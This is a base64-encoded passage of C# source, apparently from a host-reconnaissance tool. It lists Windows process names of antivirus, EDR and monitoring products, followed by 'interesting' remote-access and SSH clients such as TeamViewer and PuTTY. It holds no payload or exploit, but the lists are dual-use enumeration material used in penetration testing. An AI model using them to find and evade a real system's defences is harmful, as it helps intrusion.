C5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicHNwZi5leGUiICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InB1cmdlLmV4ZSIgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJxY29uc29sZS5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicXNlcnZlci5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJhcGFwcC5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJyYXY3LmV4ZSIgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicmF2N3dpbi5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJhdjh3aW4zMmVuZy5leGUiICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJyYXkuZXhlIiAgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicmIzMi5leGUiICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJjc3luYy5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJyZWFsbW9uLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicmVnZWQuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJlZ2VkaXQuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJyZWdlZHQzMi5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicmVzY3VlLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJlc2N1ZTMyLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJycmd1YXJkLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicnR2c2Nhbi5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJ0dnNjbjk1LmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJydWxhdW5jaC5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicnVuMzJkbGwuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InJ1bmRsbC5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJydW5kbGwxNi5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicnV4ZGxsMzIuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNhZmV3ZWIuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzYWhhZ2VudC5leGVzY2FuMzIuZXhlIiAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic2F2ZS5leGUiICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNhdmVub3cuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzYnNlcnYuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic2NhbTMyLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNjYW4zMi5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzY2FuOTUuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic2NhbnBtLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNjcnNjYW4uZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJTZW50aW5lbE9uZS5leGUiICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic2Vydjk1LmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNldHVwdmFtZWV2YWwuZXhlIiAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzZXR1cF9mbG93cHJvdGVjdG9yX3VzLmV4ZSIsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNmYy5leGUiICAgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzZ3NzZnczMi5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic2guZXhlIiAgICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNoZWxsc3B5aW5zdGFsbC5leGUiICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzaG4uZXhlIiAgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic2hvd2JlaGluZC5leGUiICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNoc3RhdC5leGUiICAgICAgICAgICAgICAgLCAiTWNBZmVlIFZpcnVzU2NhbiBFbnRlcnByaXNlIn0sCiAgICAgICAgICAgICAgICB7IlNJU0lEU1NlcnZpY2UuZXhlIiAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJTSVNJUFNVdGlsLmV4ZSIgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic21jLmV4ZSIgICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNtcy5leGUiICAgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzbXNzMzIuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic29hcC5leGUiICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNvZmkuZXhlIiAgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzcGVybS5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3BsdW5rLmV4ZSIgICAgICAgICAgICAgICAsICJTcGx1bmsifSwKICAgICAgICAgICAgICAgIHsic3BsdW5rZC5leGUiICAgICAgICAgICAgICAsICJTcGx1bmsifSwKICAgICAgICAgICAgICAgIHsic3BsdW5rLWFkbW9uLmV4ZSIgICAgICAgICAsICJTcGx1bmsifSwKICAgICAgICAgICAgICAgIHsic3BsdW5rLXBvd2Vyc2hlbGwuZXhlIiAgICAsICJTcGx1bmsifSwKICAgICAgICAgICAgICAgIHsic3BsdW5rLXdpbmV2dGxvZy5leGUiICAgICAsICJTcGx1bmsifSwKICAgICAgICAgICAgICAgIHsic3BmLmV4ZSIgICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNwaGlueC5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzcG9sZXIuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3Bvb2xjdi5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNwb29sc3YzMi5leGUiICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzcHl4eC5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3JleGUuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNybmcuZXhlIiAgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzczNlZGl0LmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3NncmF0ZS5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InNzZ180MTA0LmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzdDIuZXhlIiAgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3RhcnQuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InN0Y2xvYWRlci5leGUiICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzdXBmdHJsLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3VwcG9ydC5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InN1cHBvcnRlcjUuZXhlIiAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzdmNob3N0Yy5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3ZjaG9zdHMuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InN3ZWVwOTUuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzd2VlcG5ldC5zd2VlcHNydi5zeXMuc3duZXRzdXAuZXhlIiwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3ltcHJveHlzdmMuZXhlIiAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InN5bXRyYXkuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJzeXNlZGl0LmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsic3lzbW9uLmV4ZSIgICAgICAgICAgICAgICAsICJTeXNpbnRlcm5hbHMgU3lzbW9uIn0sCiAgICAgICAgICAgICAgICB7InN5c3VwZC5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJUYW5pdW1DbGllbnQuZXhlIiAgICAgICAgICwgIlRhbml1bSJ9LAogICAgICAgICAgICAgICAgeyJ0YXNrbWcuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGFza21vLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRhdW1vbi5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0Ym1vbi5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGJzY2FuLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRjLmV4ZSIgICAgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0Y2EuZXhlIiAgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGNtLmV4ZSIgICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRjcHZpZXcuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0ZHMtMy5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGRzMi05OC5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRkczItbnQuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0ZWVraWRzLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGZhay5leGUiICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRmYWs1LmV4ZSIgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0Z2JvYi5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGl0YW5pbi5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRpdGFuaW54cC5leGUiICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0bGFzZXJ2aWNlLmV4ZSIgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidGxhd29ya2VyLmV4ZSIgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRyYWNlcnQuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0cmlja2xlci5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidHJqc2Nhbi5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRyanNldHVwLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0cm9qYW50cmFwMy5leGUiICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidHNhZGJvdC5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InRzaGFyay5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ0dm1kLmV4ZSIgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidHZ0bWQuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InVkYXRlcnVpLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ1bmRvYm9vdC5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidXBkYXQuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InVwZGF0ZS5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ1cGRhdGVydWkuZXhlIiAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidXBncmFkLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InV0cG9zdC5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2YmNtc2Vydi5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidmJjb25zLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZidXN0LmV4ZSIgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2Yndpbjl4LmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidmJ3aW5udHcuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZjc2V0dXAuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2ZXQzMi5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidmV0OTUuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZldHRyYXkuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2ZnNldHVwLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidmlyLWhlbHAuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZpcnVzbWRwZXJzb25hbGZpcmV3YWxsLmV4ZSIsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZubGFuMzAwLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2bnBjMzAwMC5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidnBjMzIuZXhlIiAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZwYzQyLmV4ZSIgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2cGZ3MzBzLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidnB0cmF5LmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZzY2FuNDAuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2c2NlbnU2LjAyZDMwLmV4ZSIgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidnNjaGVkLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZzZWNvbXIuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2c2h3aW4zMi5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidnNpc2V0dXAuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZzbWFpbi5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2c21vbi5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidnNzdGF0LmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InZzdHNrbWdyLmV4ZSIgICAgICAgICAgICAgLCAiTWNBZmVlIFZpcnVzU2NhbiBFbnRlcnByaXNlIn0sCiAgICAgICAgICAgICAgICB7InZzd2luOXhlLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ2c3dpbm50c2UuZXhlIiAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsidnN3aW5wZXJzZS5leGUiICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InczMmRzbTg5LmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3OXguZXhlIiAgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2F0Y2hkb2cuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndlYmRhdi5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3ZWJzY2FueC5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2VidHJhcC5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndmaW5kdjMyLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aG9zd2F0Y2hpbmdtZS5leGUiICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2ltbXVuMzIuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7Indpbi1idWdzZml4LmV4ZSIgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aW4zMi5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2luMzJ1cy5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndpbmFjdGl2ZS5leGUiICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aW5kb3cuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2luZG93cy5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndpbmluZXRkLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aW5pbml0eC5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2lubG9naW4uZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7Indpbm1haW4uZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aW5uZXQuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2lucHByMzIuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndpbnJlY29uLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aW5zZXJ2bi5leGUiICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2luc3NrMzIuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndpbnN0YXJ0LmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aW5zdGFydDAwMS5leGUiICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2ludHNrMzIuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndpbnVwZGF0ZS5leGUiICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3aXJlc2hhcmsuZXhlIiAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid2t1ZmluZC5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InduYWQuZXhlIiAgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3bnQuZXhlIiAgICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid3JhZG1pbi5leGUiICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7IndyY3RybC5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3c2JnYXRlLmV4ZSIgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsid3VwZGF0ZXIuZXhlIiAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7Ind1cGR0LmV4ZSIgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ3eXZlcm53b3Jrc2ZpcmV3YWxsLmV4ZSIgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsieGFndC5leGUiICAgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InhwZjIwMmVuLmV4ZSIgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ6YXByby5leGUiICAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsiemFwc2V0dXAzMDAxLmV4ZSIgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7InphdHV0b3IuZXhlIiAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJ6b25hbG0yNjAxLmV4ZSIgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsiem9uZWFsYXJtLmV4ZSIgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7Il9hdnAzMi5leGUiICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9LAogICAgICAgICAgICAgICAgeyJfYXZwY2MuZXhlIiAgICAgICAgICAgICAgICwgIlVOS05PV04ifSwKICAgICAgICAgICAgICAgIHsicnNoZWxsLmV4ZSIgICAgICAgICAgICAgICAsICJVTktOT1dOIn0sCiAgICAgICAgICAgICAgICB7Il9hdnBtLmV4ZSIgICAgICAgICAgICAgICAgLCAiVU5LTk9XTiJ9CiAgICAgICAgICAgIH07CgogICAgICAgICAgICAvLyBUT0RPOiBjeWJlcmFyaz8gb3RoZXIgcGFzc3dvcmQgbWFuYWdlcnM/CiAgICAgICAgICAgIEhhc2h0YWJsZSBpbnRlcmVzdGluZ1Byb2Nlc3NlcyA9IG5ldyBIYXNodGFibGUoKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB7IkNtUmNTZXJ2aWNlIiAgICAgICAgICAgICAsICJDb25maWd1cmF0aW9uIE1hbmFnZXIgUmVtb3RlIENvbnRyb2wgU2VydmljZSJ9LAogICAgICAgICAgICAgICAgeyJmdHAiICAgICAgICAgICAgICAgICAgICAgLCAiTWlzYy4gRlRQIGNsaWVudCJ9LAogICAgICAgICAgICAgICAgeyJMTUlHdWFyZGlhbiIgICAgICAgICAgICAgLCAiTG9nTWVJbiBSZXBvcnRlciJ9LAogICAgICAgICAgICAgICAgeyJMb2dNZUluU3lzdHJheSIgICAgICAgICAgLCAiTG9nTWVJbiBTeXN0ZW0gVHJheSJ9LAogICAgICAgICAgICAgICAgeyJSYU1haW50IiAgICAgICAgICAgICAgICAgLCAiTG9nTWVJbiBtYWludGVuYW5jZSBzZXZpY2UifSwKICAgICAgICAgICAgICAgIHsibW1jIiAgICAgICAgICAgICAgICAgICAgICwgIk1pY3Jvc29mdCBNYW5hZ2VtZW50IENvbnNvbGUifSwKICAgICAgICAgICAgICAgIHsicHV0dHkiICAgICAgICAgICAgICAgICAgICwgIlB1dHR5IFNTSCBjbGllbnQifSwKICAgICAgICAgICAgICAgIHsicHNjcCIgICAgICAgICAgICAgICAgICAgICwgIlB1dHR5IFNDUCBjbGllbnQifSwKICAgICAgICAgICAgICAgIHsicHNmdHAiICAgICAgICAgICAgICAgICAgICwgIlB1dHR5IFNGVFAgY2xpZW50In0sCiAgICAgICAgICAgICAgICB7InB1dHR5dGVsIiAgICAgICAgICAgICAgICAsICJQdXR0eSBUZWxuZXQgY2xpZW50In0sCiAgICAgICAgICAgICAgICB7InBsaW5rIiAgICAgICAgICAgICAgICAgICAsICJQdXR0eSBDTEkgY2xpZW50In0sCiAgICAgICAgICAgICAgICB7InBhZ2VhbnQiICAgICAgICAgICAgICAgICAsICJQdXR0eSBTU0ggYXV0aCBhZ2VudCJ9LAogICAgICAgICAgICAgICAgeyJraXR0eSIgICAgICAgICAgICAgICAgICAgLCAiS2l0dHkgU1NIIGNsaWVudCJ9LAogICAgICAgICAgICAgICAgeyJ0ZWxuZXQiICAgICAgICAgICAgICAgICAgLCAiTWlzYy4gVGVsbmV0IGNsaWVudCJ9LAogICAgICAgICAgICAgICAgeyJTZWN1cmVDUlQiICAgICAgICAgICAgICAgLCAiU2VjdXJlQ1JUIFNTSC9UZWxuZXQgY2xpZW50In0sCiAgICAgICAgICAgICAgICB7IlRlYW1WaWV3ZXIiICAgICAgICAgICAgICAsICJUZWFtVmlld2VyIn0sCiAgICAgICAgICAgICAgICB7InR2X3g2NCIgICAgICAgICAgICAgICAgICAsICJUZWFtVmlld2VyIHg2NCByZW1vdGUgY29udHJvbCJ9LAogICAgICAgICAgICAgICAgeyJ0dl93MzIiICAgICAgICAgICAgICAgICAgLCAiVGVhbVZpZXdlciB4OD